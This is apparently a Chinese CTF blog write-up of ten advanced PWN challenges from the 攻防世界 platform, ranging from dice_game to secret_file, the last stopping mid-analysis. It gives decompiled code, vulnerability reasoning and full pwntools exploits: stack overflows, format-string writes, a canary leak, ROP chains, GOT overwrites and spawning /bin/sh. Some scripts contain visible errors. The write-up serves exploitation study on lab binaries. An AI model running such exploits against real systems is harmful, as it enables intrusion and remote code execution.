攻防世界进阶专区——PWN(1~10)
dice_game
下载附件,是一个zip压缩文件,解压一下,再checksec一下:
发现只有canary没开,作为一个少星的问题,太吓唬人了!
ida打开看一下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h] seed的rbp偏移值是10h,在输入szName的时候可以覆盖到seed的值。
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL); //buf存在输入点,输入限制是0x50,szName的rbp偏移值是50h,刚好相等,不能做栈溢出。
if ( v6 <= 49 )
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = sub_A20();
fflush(stdout);
if ( v5 != 1 )
break;
if ( v8 == 50 )
{
sub_B28(buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}
可以看出逻辑,和随机数有关,新手区里面也有个伪随机数,应该和这题有相似之处,把随机数的种子覆盖成我们定义的固定值。
srand(seed[0]);
再查看一下其他的函数:
signed __int64 sub_A20()
{
signed __int64 result; // rax
__int16 v1; // [rsp+Ch] [rbp-4h]
__int16 v2; // [rsp+Eh] [rbp-2h]
printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &v1);
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1;
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
else
{
puts("You lost.");
result = 0LL;
}
}
else
{
puts("Invalid value!");
result = 0LL;
}
return result;
}
int __fastcall sub_B28(__int64 a1)
{
char s; // [rsp+10h] [rbp-70h]
FILE *stream; // [rsp+78h] [rbp-8h]
printf("Congrats %s\n", a1);
stream = fopen("flag", "r");
fgets(&s, 100, stream);
puts(&s);
return fflush(stdout);
}
观察上述函数可以找到发现:buf存在输入点,输入限制是0x50,szName的rbp偏移值是50h,刚好相等,不能做栈溢出,但是seed的rbp偏移值是10h,在输入szName的时候可以覆盖到seed的值。
EXP:
构建payload:
#coding:utf8
from pwn import *
from ctypes import *
p = remote('111.200.241.244', 65518)
libc = cdll.LoadLibrary('/home/kali/Desktop/libc.so.6')
libc.srand(1)
payload = b'A' * 0x40 + p64(1)
p.sendlineafter('Welcome, let me know your name: ', payload)
for i in range(50):
rand_value = libc.rand() % 6 + 1
p.sendlineafter('Give me the point(1~6): ', str(rand_value))
p.interactive()
运行得到flag:
forgot
打开附件,查看基本信息:
发现只开了NX,没有canary就意味着可以直接栈溢出
IDA打开查看一下:
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
int (*v4)(); // [esp+34h] [ebp-50h]
int (*v5)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]
v14 = 1;
v3 = sub_8048604;
v4 = sub_8048618;
v5 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&s, 32, stdin);
sub_80485DD(&s);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2);
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )
v14 = 2;
break;
case 2:
if ( v2[i] == 64 )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == 46 )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))();
return fflush(stdout);
}
可以发现有两处溢出点,但是第一处没有什么价值,第二处溢出点:
没有限制v2的输入,可以让v2溢出,main函数(\*(&v3 + –v14))()*
意思是调用 指针(v3 + (v14 - 1))
所指向的函数,如果v14等于1,那么这句话调用的就是v3原本指向的函数。
而且第二个输入点有限制条件:
_BOOL4 __cdecl sub_8048702(char a1)
{
return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}
查看一下字符串窗口,可以看到几个有意思的点:
追踪一下system,查看一下引用,找到:
int sub_80486CC()
{
char s; // [esp+1Eh] [ebp-3Ah]
snprintf(&s, 0x32u, "cat %s", "./flag");
return system(&s);
}
思路:
- 第一个输入点随便输入
- 第二个输入让v2溢出,并且每位必须不符合条件,使v14的值一直是1
- 溢出覆盖v3指向的地址,改成0x80486CC
- 拿到flag
EXP:
from pwn import *
payload = b'A'*32 + p32(0x80486CC) #v2到v3间距(0x74-0x54)即32
p = remote('111.200.241.244',63994)
p.sendlineafter('> ','abcd')
p.sendlineafter('> ',payload)
p.interactive()
monkey
下载附件,解压,查看基本信息:
打开IDA看一下,头瞬间就大起来了,文件超级多,头很大,打开main函数也受不了。
运行一下试试吧:
发现返回的东西没有被定义,尝试输入一下命令:
help有反应,其他的也尝试过但是没啥反馈,查看一下字符串:
看网上的wp,显示师傅们找到了os.file
和os.path
两个字符串,然后猜想 os
搭配命令可以正常使用。
EXP:
参考师傅们的wp:
from pwn import *
context.log_level = 'debug'
process_name = './js'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.200.241.244', 57831)
# elf = ELF(process_name)
p.sendlineafter('js> ', 'os.system(\'cat flag\')')
p.interactive()
小问题:
这里我在做的时候出现了个奇怪的现象:
不知道啥情况。
反应釜开关控制
打开环境,查看附件基本信息:
拖入IDA进行分析。
再看一下 easy
函数和 easy里面的normal
函数:
再看一下shell
这么多漏洞在,直接利用就完事了
EXP:
from pwn import*
p=remote("111.200.241.244":63940)
shell=0x4005f6
payload='a'*0x208+p64(shell)
p.recv()
p.sendline(payload)
p.interactive()
实时数据监测
打开环境,查看基本信息:
啥都没开。。。。。
IDA查看一下main函数:
再看一下locker函数:
locker函数首先接受了一个字符串s
,然后调用imagemagic函数
,这个函数跟进去查看其实就是一个printf函数
,最后比较key的值是不是为0x2223322,如果相等,返回shell,否则,打印key的地址和值,本地运行一下:
首先找偏移量,printf("%p",a) 用地址的格式打印变量 a 的值。我们在前面输入AAAA
,所以只需要在返回结果中找到0x41414141
即可确定偏移。
EXP:
from pwn import *
debug = False
if debug:
conn = process('./data')
else:
conn = remote('111.200.241.244', 59741)
key_addr = 0x0804a048
key_value = 0x2223322
payload = fmtstr_payload(12, {key_addr: key_value})
conn.sendline(payload)
conn.interactive()
stack2
打开环境,查看基本信息:
尝试运行一下:
没有啥收获,还是得拖到IDA进行分析,查看一下main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
没有看到明显的漏洞,没办法只能去网上膜拜一下其他的大佬了,本题的栈溢出是因为对v5没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。
再查看一下字符串:
追踪一下,找到了奇怪的东西
看一下这个hackhere
:
int hackhere()
{
return system("/bin/bash");
}
nice! 不过该函数调用system(''/bin/bash')
,一般远程就留一个sh和cat。
我们可以利用system函数,直接执行system('sh')
。
然而搞了很长时间还是没有搞出来只能参考师傅们的wp了,这道题留到以后再重新搞吧。
EXP:(别的师傅的wp)
from pwn import *
def write_addr(index,value,io):
io.sendline("3")
io.sendlineafter("which number to change:\n",str(index))
io.sendlineafter("new number:\n",str(value))
io = remote("111.200.241.244","63910")
context.log_level = 'debug'
addr_buf=0xffffcec8
addr_ret=0xffffcf4c
index = addr_ret - addr_buf
addr_sys = [0x50,0x84,0x04,0x08]
addr_sh = [0x87,0x89,0x04,0x08]
io.sendlineafter("How many numbers you have:\n","1")
io.sendlineafter("Give me your numbers\n","1")
for i in range(4):
write_addr(index,addr_sys[i],io)
index = index+1
for i in range(4):
write_addr(index,addr_sys[i],io)
index = index+1
for i in range(4):
write_addr(index,addr_sh[i],io)
index = index+1
io.sendline("5")
io.interactive()
Mary_Morton
简单查看一下附件的基本信息:
IDA打开看一下:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v4; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
v3 = "Select your weapon ";
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA(v3);
v3 = "%d";
__isoc99_scanf("%d", &v4);
if ( v4 != 2 )
break;
sub_4008EB();
}
if ( v4 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v4 == 1 )
{
sub_400960();
}
else
{
v3 = "Wrong!";
puts("Wrong!");
}
}
}
再查看一下其他的函数,找到了两个漏洞:
以及flag:
但是本题开了Canary,关于这个,引用Nathan-Yang的解释
所谓的Canary保护是指在栈在保存rbp的位置之上,还保存了一个变量v。在函数执行结束,准备pop rbp和pop addr_ret之前,检查v是否被改变,如果改变了则说明发生了栈溢出,程序将会报错。v的实现逻辑和在栈中的位置如下图所示。
所以本题就是要利用格式化字符串漏洞绕过canary,再通过栈溢出得到flag。
计算偏移量:
buf和v2相差了0x90-0x8=0x88
,0x88/8=17
, 17+6=23
:
EXP:(书文winter)
from pwn import *
context.log_level = 'debug'
p = remote('111.200.241.244',56682)
p.recvuntil("Exit the battle ")
p.sendline(str(2))
p.sendline("%23$p")
p.recvuntil("0x")
canary = int(p.recv(16),16)
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()
Recho
打开看一下基础信息:
IDA打开看一下逻辑:
可以分析出程序大意,先读取字符串长度存入nptr
与v7
中,如果字符串长度小于15时将v7
设为16,大于15则不变。然后读取v7个字符放入buf中,最后在末尾添上0并打印出来。如果v7很大,则read会造成溢出并覆盖。
查看一下字符串:
找到flag字符串,继续看这个程序,这个循环是个死循环,如果直接使用close()函数程序会直接退出,看师傅们的wp,发现有一个shutdown()函数
可以关闭IO流,让循环正常退出。
alarm
,open
,read
,write
函数的实现都是通过syscall实现的,分析alarm:
发现存在syscall
。参考网上大佬的思路,大致是这样利用的:
- 先利用Gadget配合修改alarm函数的got表项,指向syscall。
- 传入相应的eax,open打开flag
- 用read和write输出函数
EXP:顾言庭
import sys
from pwn import *
from LibcSearcher import LibcSearcher
rv = lambda : io.recv()
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
se = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
sconnect = lambda : io.interactive()
context.log_level = "DEBUG"
pwn_file = './Recho'
elf = ELF(pwn_file)
if len(sys.argv) < 2:
IS_LOCAL = 1
io = process(pwn_file)
else:
IS_LOCAL = 0
sys_argv = sys.argv[1].split(':')
io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
flag_str = 0x0000000000601058
pop_rax_ret = 0x00000000004006fc
pop_rdi_ret = 0x00000000004008a3
save_flag_addr = 0x0000000000601060
add_ptr_rdi_al = 0x000000000040070d
sysenter_addr = alarm_addr = elf.got['alarm']
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0) # rbx must be 0x0
payload += p64(0x1) # rbp must be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edx arg1
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
payload += b'A' * 56 # junk 6*8+8=56
return payload
p1 = 0x40089A
p2 = 0x400880
payload = b'A'*0x38+p64(pop_rax_ret)+p64(5)+p64(pop_rdi_ret)+p64(alarm_addr)+p64(add_ptr_rdi_al) \
+ p64(pop_rax_ret)+p64(2)+com_gadget(p1,p2,sysenter_addr,flag_str,0) \
+ com_gadget(p1,p2,elf.got['read'],3,save_flag_addr,50) \
+ com_gadget(p1,p2,elf.got['write'],1,save_flag_addr,50)
if IS_LOCAL:
gdb.attach(io,"break *0x400889\nc")
pause()
rv()
se(str(len(payload)))
se(payload)
rv()
io.shutdown('write')
print(rv())
在运行师傅脚本的时候出现了这样的问题:
EXP: 请务必让我来!
#! /usr/bin/env python
from pwn import *
context.log_level = 'debug'
elf=ELF('./Recho')
p=remote('111.200.241.244',61232)
#prdi=0x4008a3
#prsi=0x4008a1
#prdx=0x4006fe
#prax=0x4006fc
#padd=0x40070d
#flag=0x601058
#bss=0x601090
alarm=elf.plt['alarm']
read=elf.plt['read']
write=elf.plt['write']
printf=elf.plt['printf']
alarm_got=elf.got['alarm']
payload=b'a'*0x38
payload+=p64(0x4006fc)+p64(0x5)
payload+=p64(0x4008a3)+p64(alarm_got)
payload+=p64(0x40070d)
payload+=p64(0x4006fc)+p64(0x2)
payload+=p64(0x4008a3)+p64(0x601058)
payload+=p64(0x4006fe)+p64(0)
payload+=p64(0x4008a1)+p64(0)+p64(0)
payload+=p64(alarm)
payload+=p64(0x4008a3)+p64(3)
payload+=p64(0x4008a1)+p64(0x601090+0x500)+p64(0)
payload+=p64(0x4006fe)+p64(0x30)
payload+=p64(read)
payload+=p64(0x4008a3)+p64(0x601090+0x500)
payload+=p64(printf)
p.recvuntil('Welcome to Recho server!\n')
p.sendline(str(0x200))
payload=payload.ljust(0x200,b'\x00')
p.send(payload)
p.recv()
p.shutdown('send')
p.interactive()
p.close()
warmup
题目没有给附件,远程连接:
nc 111.200.241.244 65049
只能FUZZ了,阿巴阿巴
模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。
由于没有附件,只能模糊测试,所以要分三种情况去pwn:
-
使用它给的地址:
- p32
- p64
-
不使用它给的地址
由于溢出值不知道只能挨个尝试:
EXP:
from pwn import *
addr = 0x40060d
for i in range(70,75):
print(i)
r = remote("111.200.241.244",50304)
payload = b'a'*i + p64(addr)
r.recvuntil(b'>')
r.sendline(payload)
r.interactive()
r.sendline(b'ls')
r.sendline(b'ls')
welpwn
随便查看一下信息:
拖到IDA内查看逻辑:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]
write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo(&buf, &buf);
return 0;
}
我一看就懵了,看了好几遍反应过来echo是个函数。。。。
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
echo函数是循环赋值read函数读取的数值,并打印出来,且遇到0时停止赋值,通过汇编可以知道echo函数申请的栈空间大小是0x20个字节,而read函数读取的字节大小时0x400个字节,这时候可以知道通过循环读取造成栈的溢出。
EXP:
from pwn import*
from LibcSearcher import*
p = remote("111.200.241.244",51718)
elf = ELF("welpwn")
context.log_level = 'debug'
puts_addr = elf.symbols["puts"]
write_plt = elf.symbols["write"]
write_got = elf.got["write"]
junk = 24
rop1 = 0x040089A
rop2 = 0x0400880
pop4r = 0x000000000040089c
popr = 0x04008a3
main_addr = 0x04007CD
p.recv()
payload = junk*'A'+p64(pop4r)+p64(rop1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)+p64(rop2)
payload += 56*'C'+p64(main_addr)
p.send(payload)
write_addr = u64(p.recv(8))
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
write_libc = libc.dump("write")
offset = write_addr-write_libc
sys_addr = libc.dump("system")+offset
binsh_addr = libc.dump("str_bin_sh")+offset
payload = junk*'A'+p64(pop4r)+p64(popr)+p64(binsh_addr)+p64(sys_addr)
p.recv()
p.send(payload)
#print p.recv()
p.interactive()
greeting-150
查看一下基础信息:
拖到IDA查看一下逻辑:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-84h]
char v5; // [esp+5Ch] [ebp-44h]
unsigned int v6; // [esp+9Ch] [ebp-4h]
v6 = __readgsdword(0x14u);
printf("Please tell me your name... ");
if ( !getnline(&v5, 64) )
return puts("Don't ignore me ;( ");
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);
}
size_t __cdecl getnline(char *s, int n)
{
char *v3; // [esp+1Ch] [ebp-Ch]
fgets(s, n, stdin);
v3 = strchr(s, 10);
if ( v3 )
*v3 = 0;
return strlen(s);
}
最后返回的printf(&s)
存在格式化字符串漏洞,造成了任意地址的读写,测试一下:
aaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
格式字符串的第12个参数, 这里往前2个字节是aa, 填充2个字节。 然后用"%c", "%n"可以修改该位置的数据, 这里需要双字节修改
在printf的格式化修饰符中,hn 为WORD(字),hhn为BYTE(字节),n为DWORD(双字)
然后就不会了,看大佬们wp思路是:.fini.array
中的函数在main
结束时被调用,修改其中的函数地址为_start
,看到了这样一幅图:
程序退出后会依次遍历 .fini_array
中的每一个函数指针,那如果把 start
或者 main
函数的地址覆写到这里,就会使程序重新执行。
由上面的基本信息可以知道,got表可写,
- 覆盖
fini_array
为main
- 覆盖
strlen got
为system_plt
- 传参
“/bin/sh”
由于.fini.array
中原有的数据和_start
高两位都一样,只需要修改后两位。
查看main
、system_plt
和strlen_got
地址:
- fini_got = 0x8049934
- strlen_got = 0x8049A54
- main_addr = 0x80485ED
- system_plt = 0x8048490
- start_addr=0x80484F0
EXP:fa1c4
payload = ‘aa’ + p32(fini_array) + “%” + str(main_addr -4 -2 – strlen(“Nice to meet you,”)) + ‘c%12$hn’
from typing import ContextManager
from pwn import *
context.log_level = "debug"
sel = 1
filename = "./greeting-150"
URL, PORT = "111.200.241.244", 53619
io = process(filename) if sel == 0 else remote(URL, PORT)
strlen_got = 0x08049A54
system_plt = 0x08048490
main_addr = 0x080485ED
fini_array = 0x08049934
fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490
length_pre = 18 # len("Nice to meet you, ")
payload = b"zz" + p32(strlen_got) + p32(strlen_got + 2) + p32(fini_array)
payload += b"%" + b"2020" + b"c%13$hn" # sysplt_num1 - 15 - length_pre == 0x7E4
payload += b"%" + b"31884" + b"c%12$hn" # sysplt_num2 - sysplt_num1 == 0x7C8C
payload += b"%" + b"349" + b"c%14$hn" # fini_num - sysplt_num2 == 0x15D
io.sendlineafter("Please tell me your name... ", payload)
io.sendlineafter("Please tell me your name... ", b"/bin/sh")
io.interactive()
secret_file
查看基础信息:
保护全开了。。。。对于这个报错,上网查了一下是由于缺少openssl开源库libcrypto.so.1.1,加载好创建软连接即可:
ln -s libcrypto.so.1.1 libcrypto.so.1.0.0
拖到IDA查看:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
int *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
__int64 v11; // [rsp+0h] [rbp-308h]
char *lineptr; // [rsp+8h] [rbp-300h]
char dest; // [rsp+10h] [rbp-2F8h]
__int64 v14; // [rsp+110h] [rbp-1F8h]
_BYTE v15[5]; // [rsp+12Bh] [rbp-1DDh]
int v16; // [rsp+16Ch] [rbp-19Ch]
int v17; // [rsp+18Ch] [rbp-17Ch]
int v18; // [rsp+1CCh] [rbp-13Ch]
char s; // [rsp+1D0h] [rbp-138h]
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]
v20 = __readfsqword(0x28u);
sub_E60(&dest, a2, a3);
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, (size_t *)&v11, stdin) == -1 )
return 1;
v3 = strrchr(lineptr, 10);
if ( !v3 )
return 1;
*v3 = 0;
v4 = (unsigned __int8 *)&v16;
v5 = &v17;
strcpy(&dest, lineptr);
sub_DD0(&dest, &v16, 256LL);
do
{
v6 = *v4;
v7 = (char *)v5;
v5 = (int *)((char *)v5 + 2);
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != &v18 );
v8 = strcmp(v15, (const char *)&v17);
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen((const char *)&v14, "r");
if ( !v9 )
return 1;
while ( fgets(&s, 256, v9) )
printf("%s", &s);
fclose(v9);
return v8;
}
分析逻辑可知:v8不为0就会输出"wrong password”
,然后退出,如果v8等于0,那么后面会执行popen
函数,该函数可以执行shell command
。
上网查了一下这个popen,Linux C popen()函数详解 - 52php - 博客园 (cnblogs.com):
popen()会调用fork()产生子进程,然后从子进程中调用/bin/sh -c来执行参数command的指令。参数type可使用“r”代表读取,“w”代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。此外,所有使用文件指针(FILE*)操作的函数也都可以使用,除了fclose()以外。
如果 type 为 r,那么调用进程读进 command 的标准输出。
如果 type 为 w,那么调用进程写到 command 的标准输入。
然后要使v8==0
,v15和v17两个字符串要相等,上面v7==v5
,v5 = &v17
,v6 = *v4
,v4 = (unsigned __int8 *)&v16
然后可以发现getline存在溢出,再查看一下其他函数:
unsigned __int64 __fastcall sub_E60(char *a1)
{
__int64 v2; // [rsp+0h] [rbp-78h]
__int64 v3; // [rsp+8h] [rbp-70h]
__int64 v4; // [rsp+10h] [rbp-68h]
__int16 v5; // [rsp+18h] [rbp-60h]
char v6; // [rsp+1Ah] [rbp-5Eh]
__int64 v7; // [rsp+20h] [rbp-58h]
__int64 v8; // [rsp+28h] [rbp-50h]
__int64 v9; // [rsp+30h] [rbp-48h]
__int64 v10; // [rsp+38h] [rbp-40h]
__int64 v11; // [rsp+40h] [rbp-38h]
__int64 v12; // [rsp+48h] [rbp-30h]
__int64 v13; // [rsp+50h] [rbp-28h]
__int64 v14; // [rsp+58h] [rbp-20h]
char v15; // [rsp+60h] [rbp-18h]
unsigned __int64 v16; // [rsp+68h] [rbp-10h]
v16 = __readfsqword(0x28u);
v6 = 0;
memset(a1, 0, 0x100uLL);
v2 = 8386093036507587119LL;
v3 = 7310014432551054880LL;
v4 = 7002641623085768564LL;
v5 = 25459;
snprintf(
a1 + 256,
0x1BuLL,
"%s",
&v2,
8386093036507587119LL,
7310014432551054880LL,
7002641623085768564LL,
*(_QWORD *)&v5);
v7 = 7291380990809223993LL;
v8 = 3846974793129996595LL;
v9 = 7149517611173568821LL;
v10 = 7005684783558900022LL;
v11 = 3703759022809560162LL;
v12 = 3559359259495392098LL;
v13 = 3544673966641145443LL;
v14 = 3977295534107146545LL;
v15 = 0;
snprintf(a1 + 283, 0x41uLL, "%s", &v7);
return __readfsqword(0x28u) ^ v16;
}